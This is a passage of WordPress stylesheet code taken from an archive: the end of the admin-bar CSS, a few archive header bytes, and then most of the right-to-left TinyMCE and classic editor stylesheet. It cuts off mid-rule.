14px;background:#f0f0f1;color:#2271b1;z-index:100000;line-height:normal;text-decoration:none}#wpadminbar .screen-reader-shortcut:focus{top:7px;background:#f0f0f1;box-shadow:0 0 2px 2px rgba(0,0,0,.6)}@media screen and (max-width:782px){html{--wp-admin--admin-bar--height:46px}html #wpadminbar{height:46px;min-width:240px}#wpadminbar *{font-size:14px;font-weight:400;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;line-height:2.28571428}#wpadminbar .quicklinks .ab-empty-item,#wpadminbar .quicklinks>ul>li>a{padding:0;height:46px;line-height:3.28571428;width:auto}#wpadminbar .ab-icon{font:40px/1 dashicons!important;margin:0;padding:0;width:52px;height:46px;text-align:center}#wpadminbar .ab-icon:before{text-align:center}#wpadminbar .ab-submenu{padding:0}#wpadminbar #wp-admin-bar-my-account a.ab-item,#wpadminbar #wp-admin-bar-my-sites a.ab-item,#wpadminbar #wp-admin-bar-site-name a.ab-item{text-overflow:clip}#wpadminbar .quicklinks .menupop ul li .ab-item,#wpadminbar .quicklinks .menupop ul li a strong,#wpadminbar .quicklinks .menupop.hover ul li .ab-item,#wpadminbar .shortlink-input,#wpadminbar.nojs .quicklinks .menupop:hover ul li .ab-item{line-height:1.6}#wpadminbar .ab-label{border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}#wpadminbar .menupop li.hover>.ab-sub-wrapper,#wpadminbar .menupop li:hover>.ab-sub-wrapper{margin-top:-46px}#wpadminbar .ab-top-menu .menupop .ab-sub-wrapper .menupop>.ab-item{padding-right:30px}#wpadminbar .menupop .menupop>.ab-item:before{top:10px;right:6px}#wpadminbar .ab-top-menu>.menupop>.ab-sub-wrapper .ab-item{font-size:16px;padding:8px 16px}#wpadminbar .ab-top-menu>.menupop>.ab-sub-wrapper a:empty{display:none}#wpadminbar #wp-admin-bar-wp-logo>.ab-item{padding:0}#wpadminbar #wp-admin-bar-wp-logo>.ab-item .ab-icon{padding:0;width:52px;height:46px;text-align:center;vertical-align:top}#wpadminbar #wp-admin-bar-wp-logo>.ab-item .ab-icon:before{font:28px/1 dashicons!important;top:-3px}#wpadminbar .ab-icon,#wpadminbar .ab-item:before{padding:0}#wpadminbar #wp-admin-bar-customize>.ab-item,#wpadminbar #wp-admin-bar-edit>.ab-item,#wpadminbar #wp-admin-bar-my-account>.ab-item,#wpadminbar #wp-admin-bar-my-sites>.ab-item,#wpadminbar #wp-admin-bar-site-editor>.ab-item,#wpadminbar #wp-admin-bar-site-name>.ab-item{text-indent:100%;white-space:nowrap;overflow:hidden;width:52px;padding:0;color:#a7aaad;position:relative}#wpadminbar .ab-icon,#wpadminbar .ab-item:before,#wpadminbar>#wp-toolbar>#wp-admin-bar-root-default .ab-icon{padding:0;margin-right:0}#wpadminbar #wp-admin-bar-customize>.ab-item:before,#wpadminbar #wp-admin-bar-edit>.ab-item:before,#wpadminbar #wp-admin-bar-my-account>.ab-item:before,#wpadminbar #wp-admin-bar-my-sites>.ab-item:before,#wpadminbar #wp-admin-bar-site-editor>.ab-item:before,#wpadminbar #wp-admin-bar-site-name>.ab-item:before{display:block;text-indent:0;font:normal 32px/1 dashicons;speak:never;top:7px;width:52px;text-align:center;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}#wpadminbar #wp-admin-bar-appearance{margin-top:0}#wpadminbar .quicklinks li .blavatar:before{display:none}#wpadminbar #wp-admin-bar-search{display:none}#wpadminbar #wp-admin-bar-new-content .ab-icon:before{top:0;line-height:1.26;height:46px!important;text-align:center;width:52px;display:block}#wpadminbar #wp-admin-bar-updates{text-align:center}#wpadminbar #wp-admin-bar-updates .ab-icon:before{top:3px}#wpadminbar #wp-admin-bar-comments .ab-icon{margin:0}#wpadminbar #wp-admin-bar-comments .ab-icon:before{display:block;font-size:34px;height:46px;line-height:1.38235294;top:0}#wpadminbar #wp-admin-bar-my-account>a{position:relative;white-space:nowrap;text-indent:150%;width:28px;padding:0 10px;overflow:hidden}#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar>a img{position:absolute;top:13px;right:10px;width:26px;height:26px}#wpadminbar #wp-admin-bar-user-actions.ab-submenu{padding:0}#wpadminbar #wp-admin-bar-user-actions.ab-submenu img.avatar{display:none}#wpadminbar #wp-admin-bar-my-account.with-avatar #wp-admin-bar-user-actions>li{margin:0}#wpadminbar #wp-admin-bar-user-info .display-name{height:auto;font-size:16px;line-height:1.5;color:#f0f0f1}#wpadminbar #wp-admin-bar-user-info a{padding-top:4px}#wpadminbar #wp-admin-bar-user-info .username{line-height:.8!important;margin-bottom:-2px}#wp-toolbar>ul>li{display:none}#wpadminbar li#wp-admin-bar-comments,#wpadminbar li#wp-admin-bar-customize,#wpadminbar li#wp-admin-bar-edit,#wpadminbar li#wp-admin-bar-menu-toggle,#wpadminbar li#wp-admin-bar-my-account,#wpadminbar li#wp-admin-bar-my-sites,#wpadminbar li#wp-admin-bar-new-content,#wpadminbar li#wp-admin-bar-site-editor,#wpadminbar li#wp-admin-bar-site-name,#wpadminbar li#wp-admin-bar-updates,#wpadminbar li#wp-admin-bar-wp-logo{display:block}#wpadminbar li.hover ul li,#wpadminbar li:hover ul li,#wpadminbar li:hover ul li:hover ul li{display:list-item}#wpadminbar .ab-top-menu>.menupop>.ab-sub-wrapper{min-width:fit-content}#wpadminbar ul#wp-admin-bar-root-default>li{margin-right:0}#wpadminbar #wp-admin-bar-comments,#wpadminbar #wp-admin-bar-edit,#wpadminbar #wp-admin-bar-my-account,#wpadminbar #wp-admin-bar-my-sites,#wpadminbar #wp-admin-bar-new-content,#wpadminbar #wp-admin-bar-site-name,#wpadminbar #wp-admin-bar-updates,#wpadminbar #wp-admin-bar-wp-logo,#wpadminbar .ab-top-menu,#wpadminbar .ab-top-secondary{position:static}.network-admin #wpadminbar ul#wp-admin-bar-top-secondary>li#wp-admin-bar-my-account{margin-right:0}#wpadminbar .ab-top-secondary .menupop .menupop>.ab-item:before{top:10px;left:0}}@media screen and (max-width:600px){#wpadminbar{position:absolute}#wp-responsive-overlay{position:fixed;top:0;left:0;width:100%;height:100%;z-index:400}#wpadminbar .ab-top-menu>.menupop>.ab-sub-wrapper{width:100%;left:0}#wpadminbar .menupop .menupop>.ab-item:before{display:none}#wpadminbar #wp-admin-bar-wp-logo.menupop .ab-sub-wrapper{margin-left:0}#wpadminbar .ab-top-menu>.menupop li>.ab-sub-wrapper{margin:0;width:100%;top:auto;left:auto;position:relative}#wpadminbar .ab-top-menu>.menupop li>.ab-sub-wrapper .ab-item{font-size:16px;padding:6px 15px 19px 30px}#wpadminbar li:hover ul li ul li{display:list-item}#wpadminbar li#wp-admin-bar-updates,#wpadminbar li#wp-admin-bar-wp-logo{display:none}#wpadminbar .ab-top-menu>.menupop li>.ab-sub-wrapper{position:static;box-shadow:none}}@media screen and (max-width:400px){#wpadminbar li#wp-admin-bar-comments{display:none}}PK1Xd[�P�Y�Y�editor-rtl.cssnu�[���/*! This file is auto-generated */
/*------------------------------------------------------------------------------
 TinyMCE and Quicklinks toolbars
------------------------------------------------------------------------------*/

/* TinyMCE widgets/containers */

.mce-tinymce {
	box-shadow: none;
}

.mce-container,
.mce-container *,
.mce-widget,
.mce-widget * {
	color: inherit;
	font-family: inherit;
}

.mce-container .mce-monospace,
.mce-widget .mce-monospace {
	font-family: Consolas, Monaco, monospace;
	font-size: 13px;
	line-height: 150%;
}

/* TinyMCE windows */
#mce-modal-block,
#mce-modal-block.mce-fade {
	opacity: 0.7;
	filter: alpha(opacity=70);
	transition: none;
	background: #000;
}

.mce-window {
	border-radius: 0;
	box-shadow: 0 3px 6px rgba(0, 0, 0, 0.3);
	-webkit-font-smoothing: subpixel-antialiased;
	transition: none;
}

.mce-window .mce-container-body.mce-abs-layout {
	overflow: visible;
}

.mce-window .mce-window-head {
	background: #fff;
	border-bottom: 1px solid #dcdcde;
	padding: 0;
	min-height: 36px;
}

.mce-window .mce-window-head .mce-title {
	color: #3c434a;
	font-size: 18px;
	font-weight: 600;
	line-height: 36px;
	margin: 0;
	padding: 0 16px 0 36px;
}

.mce-window .mce-window-head .mce-close,
.mce-window-head .mce-close .mce-i-remove {
	color: transparent;
	top: 0;
	left: 0;
	width: 36px;
	height: 36px;
	padding: 0;
	line-height: 36px;
	text-align: center;
}

.mce-window-head .mce-close .mce-i-remove:before {
	font: normal 20px/36px dashicons;
	text-align: center;
	color: #646970;
	width: 36px;
	height: 36px;
	display: block;
}

.mce-window-head .mce-close:hover .mce-i-remove:before,
.mce-window-head .mce-close:focus .mce-i-remove:before {
	color: #135e96;
}

.mce-window-head .mce-close:focus .mce-i-remove,
div.mce-tab:focus {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.mce-window .mce-window-head .mce-dragh {
	width: calc( 100% - 36px );
}

.mce-window .mce-foot {
	border-top: 1px solid #dcdcde;
}

.mce-textbox,
.mce-checkbox i.mce-i-checkbox,
#wp-link .query-results {
	border: 1px solid #dcdcde;
	border-radius: 0;
	box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.07);
	transition: .05s all ease-in-out;
}

.mce-textbox:focus,
.mce-textbox.mce-focus,
.mce-checkbox:focus i.mce-i-checkbox,
#wp-link .query-results:focus {
	border-color: #4f94d4;
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.mce-window .mce-wp-help {
	height: 360px;
	width: 460px;
	overflow: auto;
}

.mce-window .mce-wp-help * {
	box-sizing: border-box;
}

.mce-window .mce-wp-help > .mce-container-body {
	width: auto !important;
}

.mce-window .wp-editor-help {
	padding: 10px 20px 0 10px;
}

.mce-window .wp-editor-help h2,
.mce-window .wp-editor-help p {
	margin: 8px 0;
	white-space: normal;
	font-size: 14px;
	font-weight: 400;
}

.mce-window .wp-editor-help table {
	width: 100%;
	margin-bottom: 20px;
}

.mce-window .wp-editor-help table.wp-help-single {
	margin: 0 8px 20px;
}

.mce-window .wp-editor-help table.fixed {
	table-layout: fixed;
}

.mce-window .wp-editor-help table.fixed th:nth-child(odd),
.mce-window .wp-editor-help table.fixed td:nth-child(odd) {
	width: 12%;
}

.mce-window .wp-editor-help table.fixed th:nth-child(even),
.mce-window .wp-editor-help table.fixed td:nth-child(even) {
	width: 38%;
}

.mce-window .wp-editor-help table.fixed th:nth-child(odd) {
	padding: 5px 0 0;
}

.mce-window .wp-editor-help td,
.mce-window .wp-editor-help th {
	font-size: 13px;
	padding: 5px;
	vertical-align: middle;
	word-wrap: break-word;
	white-space: normal;
}

.mce-window .wp-editor-help th {
	font-weight: 600;
	padding-bottom: 0;
}

.mce-window .wp-editor-help kbd {
	font-family: monospace;
	padding: 2px 7px 3px;
	font-weight: 600;
	margin: 0;
	background: #f0f0f1;
	background: rgba(0, 0, 0, 0.08);
}

.mce-window .wp-help-th-center td:nth-child(odd),
.mce-window .wp-help-th-center th:nth-child(odd) {
	text-align: center;
}

/* TinyMCE menus */
.mce-menu,
.mce-floatpanel.mce-popover {
	border-color: rgba(0, 0, 0, 0.15);
	border-radius: 0;
	box-shadow: 0 3px 5px rgba(0, 0, 0, 0.2);
}

.mce-menu,
.mce-floatpanel.mce-popover.mce-bottom {
	margin-top: 2px;
}

.mce-floatpanel .mce-arrow {
	display: none;
}

.mce-menu .mce-container-body {
	min-width: 160px;
}

.mce-menu-item {
	border: none;
	margin-bottom: 2px;
	padding: 6px 12px 6px 15px;
}

.mce-menu-has-icons i.mce-ico {
	line-height: 20px;
}

/* TinyMCE panel */
div.mce-panel {
	border: 0;
	background: #fff;
}

.mce-panel.mce-menu {
	border: 1px solid #dcdcde;
}

div.mce-tab {
	line-height: 13px;
}

/* TinyMCE toolbars */
div.mce-toolbar-grp {
	border-bottom: 1px solid #dcdcde;
	background: #f6f7f7;
	padding: 0;
	position: relative;
}

div.mce-inline-toolbar-grp {
	border: 1px solid #a7aaad;
	border-radius: 2px;
	box-shadow: 0 1px 3px rgba(0, 0, 0, 0.15);
	box-sizing: border-box;
	margin-bottom: 8px;
	position: absolute;
	-webkit-user-select: none;
	user-select: none;
	max-width: 98%;
	z-index: 100100; /* Same as the other TinyMCE "panels" */
}

div.mce-inline-toolbar-grp > div.mce-stack-layout {
	padding: 1px;
}

div.mce-inline-toolbar-grp.mce-arrow-up {
	margin-bottom: 0;
	margin-top: 8px;
}

div.mce-inline-toolbar-grp:before,
div.mce-inline-toolbar-grp:after {
	position: absolute;
	right: 50%;
	display: block;
	width: 0;
	height: 0;
	border-style: solid;
	border-color: transparent;
	content: "";
}

div.mce-inline-toolbar-grp.mce-arrow-up:before {
	top: -9px;
	border-bottom-color: #a7aaad;
	border-width: 0 9px 9px;
	margin-right: -9px;
}

div.mce-inline-toolbar-grp.mce-arrow-down:before {
	bottom: -9px;
	border-top-color: #a7aaad;
	border-width: 9px 9px 0;
	margin-right: -9px;
}

div.mce-inline-toolbar-grp.mce-arrow-up:after {
	top: -8px;
	border-bottom-color: #f6f7f7;
	border-width: 0 8px 8px;
	margin-right: -8px;
}

div.mce-inline-toolbar-grp.mce-arrow-down:after {
	bottom: -8px;
	border-top-color: #f6f7f7;
	border-width: 8px 8px 0;
	margin-right: -8px;
}

div.mce-inline-toolbar-grp.mce-arrow-left:before,
div.mce-inline-toolbar-grp.mce-arrow-left:after {
	margin: 0;
}

div.mce-inline-toolbar-grp.mce-arrow-left:before {
	right: 20px;
}
div.mce-inline-toolbar-grp.mce-arrow-left:after {
	right: 21px;
}

div.mce-inline-toolbar-grp.mce-arrow-right:before,
div.mce-inline-toolbar-grp.mce-arrow-right:after {
	right: auto;
	margin: 0;
}

div.mce-inline-toolbar-grp.mce-arrow-right:before {
	left: 20px;
}

div.mce-inline-toolbar-grp.mce-arrow-right:after {
	left: 21px;
}

div.mce-inline-toolbar-grp.mce-arrow-full {
	left: 0;
}

div.mce-inline-toolbar-grp.mce-arrow-full > div {
	width: 100%;
	overflow-x: auto;
}

div.mce-toolbar-grp > div {
	padding: 3px;
}

.has-dfw div.mce-toolbar-grp .mce-toolbar.mce-first {
	padding-left: 32px;
}

.mce-toolbar .mce-btn-group {
	margin: 0;
}

/* Classic block hide/show toolbars */
.block-library-classic__toolbar .mce-toolbar-grp .mce-toolbar:not(:first-child) {
	display: none;
}

.block-library-classic__toolbar.has-advanced-toolbar .mce-toolbar-grp .mce-toolbar {
	display: block;
}

div.mce-statusbar {
	border-top: 1px solid #dcdcde;
}

div.mce-path {
	padding: 2px 10px;
	margin: 0;
}

.mce-path,
.mce-path-item,
.mce-path .mce-divider {
	font-size: 12px;
}

.mce-toolbar .mce-btn,
.qt-dfw {
	border-color: transparent;
	background: transparent;
	box-shadow: none;
	text-shadow: none;
	cursor: pointer;
}

.mce-btn .mce-txt {
	direction: inherit;
	text-align: inherit;
}

.mce-toolbar .mce-btn-group .mce-btn,
.qt-dfw {
	border: 1px solid transparent;
	margin: 2px;
	border-radius: 2px;
}

.mce-toolbar .mce-btn-group .mce-btn:hover,
.mce-toolbar .mce-btn-group .mce-btn:focus,
.qt-dfw:hover,
.qt-dfw:focus {
	background: #f6f7f7;
	color: #1d2327;
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-active,
.mce-toolbar .mce-btn-group .mce-btn:active,
.qt-dfw.active {
	background: #f0f0f1;
	border-color: #50575e;
}

.mce-btn.mce-active,
.mce-btn.mce-active button,
.mce-btn.mce-active:hover button,
.mce-btn.mce-active i,
.mce-btn.mce-active:hover i {
	color: inherit;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-active:hover,
.mce-toolbar .mce-btn-group .mce-btn.mce-active:focus {
	border-color: #1d2327;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-disabled:hover,
.mce-toolbar .mce-btn-group .mce-btn.mce-disabled:focus {
	color: #a7aaad;
	background: none;
	border-color: #dcdcde;
	text-shadow: 0 1px 0 #fff;
	box-shadow: none;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-disabled:focus {
	border-color: #50575e;
}

.mce-toolbar .mce-btn-group .mce-first,
.mce-toolbar .mce-btn-group .mce-last {
	border-color: transparent;
}

.mce-toolbar .mce-btn button,
.qt-dfw {
	padding: 2px 3px;
	line-height: normal;
}

.mce-toolbar .mce-listbox button {
	font-size: 13px;
	line-height: 1.53846153;
	padding-right: 6px;
	padding-left: 20px;
}

.mce-toolbar .mce-btn i {
	text-shadow: none;
}

.mce-toolbar .mce-btn-group > div {
	white-space: normal;
}

.mce-toolbar .mce-colorbutton .mce-open {
	border-left: 0;
}

.mce-toolbar .mce-colorbutton .mce-preview {
	margin: 0;
	padding: 0;
	top: auto;
	bottom: 2px;
	right: 3px;
	height: 3px;
	width: 20px;
	background: #50575e;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-primary {
	min-width: 0;
	background: #3582c4;
	border-color: #2271b1 #135e96 #135e96;
	box-shadow: 0 1px 0 #135e96;
	color: #fff;
	text-decoration: none;
	text-shadow: none;
}

/* Compensate for the extra box shadow at the bottom of .mce-btn.mce-primary */
.mce-toolbar .mce-btn-group .mce-btn.mce-primary button {
	padding: 2px 3px 1px;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-primary .mce-ico {
	color: #fff;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-primary:hover,
.mce-toolbar .mce-btn-group .mce-btn.mce-primary:focus {
	background: #4f94d4;
	border-color: #135e96;
	color: #fff;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-primary:focus {
	box-shadow: 0 0 1px 1px #72aee6;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-primary:active {
	background: #2271b1;
	border-color: #135e96;
	box-shadow: inset 0 2px 0 #135e96;
}

/* mce listbox */
.mce-toolbar .mce-btn-group .mce-btn.mce-listbox {
	border-radius: 0;
	direction: rtl;
	background: #fff;
	border: 1px solid #dcdcde;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-listbox:hover,
.mce-toolbar .mce-btn-group .mce-btn.mce-listbox:focus {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.mce-panel .mce-btn i.mce-caret {
	border-top: 6px solid #50575e;
	margin-right: 2px;
	margin-left: 2px;
}

.mce-listbox i.mce-caret {
	left: 4px;
}

.mce-panel .mce-btn:hover i.mce-caret,
.mce-panel .mce-btn:focus i.mce-caret {
	border-top-color: #1d2327;
}

.mce-panel .mce-active i.mce-caret {
	border-top: 0;
	border-bottom: 6px solid #1d2327;
	margin-top: 7px;
}

.mce-listbox.mce-active i.mce-caret {
	margin-top: -3px;
}

.mce-toolbar .mce-splitbtn:hover .mce-open {
	border-left-color: transparent;
}

.mce-toolbar .mce-splitbtn .mce-open.mce-active {
	background: transparent;
	outline: none;
}

.mce-menu .mce-menu-item:hover,
.mce-menu .mce-menu-item.mce-selected,
.mce-menu .mce-menu-item:focus,
.mce-menu .mce-menu-item.mce-active.mce-menu-item-normal,
.mce-menu .mce-menu-item.mce-active.mce-menu-item-preview {
	background: #2271b1; /* See color scheme. */
	color: #fff;
}

.mce-menu .mce-menu-item:hover .mce-caret,
.mce-menu .mce-menu-item:focus .mce-caret,
.mce-menu .mce-menu-item.mce-selected .mce-caret {
	border-right-color: #fff;
}

/* rtl:ignore */
.rtl .mce-menu .mce-menu-item:hover .mce-caret,
.rtl .mce-menu .mce-menu-item:focus .mce-caret,
.rtl .mce-menu .mce-menu-item.mce-selected .mce-caret {
	border-left-color: inherit;
	border-right-color: #fff;
}

.mce-menu .mce-menu-item:hover .mce-text,
.mce-menu .mce-menu-item:focus .mce-text,
.mce-menu .mce-menu-item:hover .mce-ico,
.mce-menu .mce-menu-item:focus .mce-ico,
.mce-menu .mce-menu-item.mce-selected .mce-text,
.mce-menu .mce-menu-item.mce-selected .mce-ico,
.mce-menu .mce-menu-item:hover .mce-menu-shortcut,
.mce-menu .mce-menu-item:focus .mce-menu-shortcut,
.mce-menu .mce-menu-item.mce-active .mce-menu-shortcut,
.mce-menu .mce-menu-item.mce-disabled:hover .mce-text,
.mce-menu .mce-menu-item.mce-disabled:hover .mce-ico {
	color: inherit;
}

.mce-menu .mce-menu-item.mce-disabled {
	cursor: default;
}

.mce-menu .mce-menu-item.mce-disabled:hover {
	background: #c3c4c7;
}

/* Menubar */
div.mce-menubar {
	border-color: #dcdcde;
	background: #fff;
	border-width: 0 0 1px;
}

.mce-menubar .mce-menubtn:hover,
.mce-menubar .mce-menubtn.mce-active,
.mce-menubar .mce-menubtn:focus {
	border-color: transparent;
	background: transparent;
}

.mce-menubar .mce-menubtn:focus {
	color: #043959;
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

div.mce-menu .mce-menu-item-sep,
.mce-menu-item-sep:hover {
	border-bottom: 1px solid #dcdcde;
	height: 0;
	margin: 5px 0;
}

.mce-menubtn span {
	margin-left: 0;
	padding-right: 3px;
}

.mce-menu-has-icons i.mce-ico:before {
	margin-right: -2px;
}

/* Keyboard shortcuts position */
.mce-menu.mce-menu-align .mce-menu-item-normal {
	position: relative;
}

.mce-menu.mce-menu-align .mce-menu-shortcut {
	bottom: 0.6em;
	font-size: 0.9em;
}

/* Buttons in modals */
.mce-primary button,
.mce-primary button i {
	text-align: center;
	color: #fff;
	text-shadow: none;
	padding: 0;
	line-height: 1.85714285;
}

.mce-window .mce-btn {
	color: #50575e;
	background: #f6f7f7;
	text-decoration: none;
	font-size: 13px;
	line-height: 26px;
	height: 28px;
	margin: 0;
	padding: 0;
	cursor: pointer;
	border: 1px solid #c3c4c7;
	-webkit-appearance: none;
	border-radius: 3px;
	white-space: nowrap;
	box-shadow: 0 1px 0 #c3c4c7;
}

/* Remove the dotted border on :focus and the extra padding in Firefox */
.mce-window .mce-btn::-moz-focus-inner {
	border-width: 0;
	border-style: none;
	padding: 0;
}

.mce-window .mce-btn:hover,
.mce-window .mce-btn:focus {
	background: #f6f7f7;
	border-color: #8c8f94;
	color: #1d2327;
}

.mce-window .mce-btn:focus {
	border-color: #4f94d4;
	box-shadow: 0 0 3px rgba(34, 113, 177, 0.8);
}

.mce-window .mce-btn:active {
	background: #f0f0f1;
	border-color: #8c8f94;
	box-shadow: inset 0 2px 5px -3px rgba(0, 0, 0, 0.5);
	transform: translateY(1px);
}

.mce-window .mce-btn.mce-disabled {
	color: #a7aaad !important;
	border-color: #dcdcde !important;
	background: #f6f7f7 !important;
	box-shadow: none !important;
	text-shadow: 0 1px 0 #fff !important;
	cursor: default;
	transform: none !important;
}

.mce-window .mce-btn.mce-primary {
	background: #3582c4;
	border-color: #2271b1 #135e96 #135e96;
	box-shadow: 0 1px 0 #135e96;
	color: #fff;
	text-decoration: none;
	text-shadow: 0 -1px 1px #135e96,
		-1px 0 1px #135e96,
		0 1px 1px #135e96,
		1px 0 1px #135e96;
}

.mce-window .mce-btn.mce-primary:hover,
.mce-window .mce-btn.mce-primary:focus {
	background: #4f94d4;
	border-color: #135e96;
	color: #fff;
}

.mce-window .mce-btn.mce-primary:focus {
	box-shadow: 0 1px 0 #2271b1,
		0 0 2px 1px #72aee6;
}

.mce-window .mce-btn.mce-primary:active {
	background: #2271b1;
	border-color: #135e96;
	box-shadow: inset 0 2px 0 #135e96;
	vertical-align: top;
}

.mce-window .mce-btn.mce-primary.mce-disabled {
	color: #9ec2e6 !important;
	background: #4f94d4 !important;
	border-color: #3582c4 !important;
	box-shadow: none !important;
	text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.1) !important;
	cursor: default;
}

.mce-menubtn.mce-fixed-width span {
	overflow-x: hidden;
	text-overflow: ellipsis;
	width: 82px;
}

/* Charmap modal */
.mce-charmap {
	margin: 3px;
}

.mce-charmap td {
	padding: 0;
	border-color: #dcdcde;
	cursor: pointer;
}

.mce-charmap td:hover {
	background: #f6f7f7;
}

.mce-charmap td div {
	width: 18px;
	height: 22px;
	line-height: 1.57142857;
}

/* TinyMCE tooltips */
.mce-tooltip {
	margin-top: 2px;
}

.mce-tooltip-inner {
	border-radius: 3px;
	box-shadow: 0 3px 5px rgba(0, 0, 0, 0.2);
	color: #fff;
	font-size: 12px;
}

/* TinyMCE icons */
.mce-ico {
	font-family: tinymce, Arial;
}

.mce-btn-small .mce-ico {
	font-family: tinymce-small, Arial;
}

.mce-toolbar .mce-ico {
	color: #50575e;
	line-height: 1;
	width: 20px;
	height: 20px;
	text-align: center;
	text-shadow: none;
	margin: 0;
	padding: 0;
}

.qt-dfw {
	color: #50575e;
	line-height: 1;
	width: 28px;
	height: 26px;
	text-align: center;
	text-shadow: none;
}

.mce-toolbar .mce-btn .mce-open {
	line-height: 20px;
}

.mce-toolbar .mce-btn:hover .mce-open,
.mce-toolbar .mce-btn:focus .mce-open,
.mce-toolbar .mce-btn.mce-active .mce-open {
	border-right-color: #1d2327;
}

div.mce-notification {
	right: 10% !important;
	left: 10%;
}

.mce-notification button.mce-close {
	left: 6px;
	top: 3px;
	font-weight: 400;
	color: #50575e;
}

.mce-notification button.mce-close:hover,
.mce-notification button.mce-close:focus {
	color: #000;
}

i.mce-i-bold,
i.mce-i-italic,
i.mce-i-bullist,
i.mce-i-numlist,
i.mce-i-blockquote,
i.mce-i-alignleft,
i.mce-i-aligncenter,
i.mce-i-alignright,
i.mce-i-link,
i.mce-i-unlink,
i.mce-i-wp_more,
i.mce-i-strikethrough,
i.mce-i-spellchecker,
i.mce-i-fullscreen,
i.mce-i-wp_fullscreen,
i.mce-i-dfw,
i.mce-i-wp_adv,
i.mce-i-underline,
i.mce-i-alignjustify,
i.mce-i-forecolor,
i.mce-i-backcolor,
i.mce-i-pastetext,
i.mce-i-pasteword,
i.mce-i-removeformat,
i.mce-i-charmap,
i.mce-i-outdent,
i.mce-i-indent,
i.mce-i-undo,
i.mce-i-redo,
i.mce-i-help,
i.mce-i-wp_help,
i.mce-i-wp-media-library,
i.mce-i-ltr,
i.mce-i-wp_page,
i.mce-i-hr,
i.mce-i-wp_code,
i.mce-i-dashicon,
i.mce-i-remove {
	font: normal 20px/1 dashicons;
	padding: 0;
	vertical-align: top;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	margin-right: -2px;
	padding-left: 2px;
}

.qt-dfw {
	font: normal 20px/1 dashicons;
	vertical-align: top;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

i.mce-i-bold:before {
	content: "\f200";
}

i.mce-i-italic:before {
	content: "\f201";
}

i.mce-i-bullist:before {
	content: "\f203";
}

i.mce-i-numlist:before {
	content: "\f204";
}

i.mce-i-blockquote:before {
	content: "\f205";
}

i.mce-i-alignleft:before {
	content: "\f206";
}

i.mce-i-aligncenter:before {
	content: "\f207";
}

i.mce-i-alignright:before {
	content: "\f208";
}

i.mce-i-link:before {
	content: "\f103";
}

i.mce-i-unlink:before {
	content: "\f225";
}

i.mce-i-wp_more:before {
	content: "\f209";
}

i.mce-i-strikethrough:before {
	content: "\f224";
}

i.mce-i-spellchecker:before {
	content: "\f210";
}

i.mce-i-fullscreen:before,
i.mce-i-wp_fullscreen:before,
i.mce-i-dfw:before,
.qt-dfw:before {
	content: "\f211";
}

i.mce-i-wp_adv:before {
	content: "\f212";
}

i.mce-i-underline:before {
	content: "\f213";
}

i.mce-i-alignjustify:before {
	content: "\f214";
}

i.mce-i-forecolor:before,
i.mce-i-backcolor:before {
	content: "\f215";
}

i.mce-i-pastetext:before {
	content: "\f217";
}

i.mce-i-removeformat:before {
	content: "\f218";
}

i.mce-i-charmap:before {
	content: "\f220";
}

i.mce-i-outdent:before {
	content: "\f221";
}

i.mce-i-indent:before {
	content: "\f222";
}

i.mce-i-undo:before {
	content: "\f171";
}

i.mce-i-redo:before {
	content: "\f172";
}

i.mce-i-help:before,
i.mce-i-wp_help:before {
	content: "\f223";
}

i.mce-i-wp-media-library:before {
	content: "\f104";
}

i.mce-i-ltr:before {
	content: "\f320";
}

i.mce-i-wp_page:before {
	content: "\f105";
}

i.mce-i-hr:before {
	content: "\f460";
}

i.mce-i-remove:before {
	content: "\f158";
}

i.mce-i-wp_code:before {
	content: "\f475";
}

/* RTL button icons */
.rtl i.mce-i-outdent:before {
	content: "\f222";
}

.rtl i.mce-i-indent:before {
	content: "\f221";
}

/* Editors */
.wp-editor-wrap {
	position: relative;
}

.wp-editor-tools {
	position: relative;
	z-index: 1;
}

.wp-editor-tools:after {
	clear: both;
	content: "";
	display: table;
}

.wp-editor-container {
	clear: both;
	border: 1px solid #dcdcde;
}

.wp-editor-area {
	font-family: Consolas, Monaco, monospace;
	font-size: 13px;
	padding: 10px;
	margin: 1px 0 0;
	line-height: 150%;
	border: 0;
	outline: none;
	display: block;
	resize: vertical;
	box-sizing: border-box;
}

.rtl .wp-editor-area {
	font-family: Tahoma, Monaco, monospace;
}

.locale-he-il .wp-editor-area {
	font-family: Arial, Monaco, monospace;
}

.wp-editor-container textarea.wp-editor-area {
	width: 100%;
	margin: 0;
	box-shadow: none;
}

.wp-editor-tabs {
	float: left;
}

.wp-switch-editor {
	float: right;
	box-sizing: content-box;
	position: relative;
	top: 1px;
	background: #f0f0f1;
	color: #646970;
	cursor: pointer;
	font-size: 13px;
	line-height: 1.46153846;
	height: 20px;
	margin: 5px 5px 0 0;
	padding: 3px 8px 4px;
	border: 1px solid #dcdcde;
}

.wp-switch-editor:focus {
	box-shadow: 0 0 0 2px #2271b1;
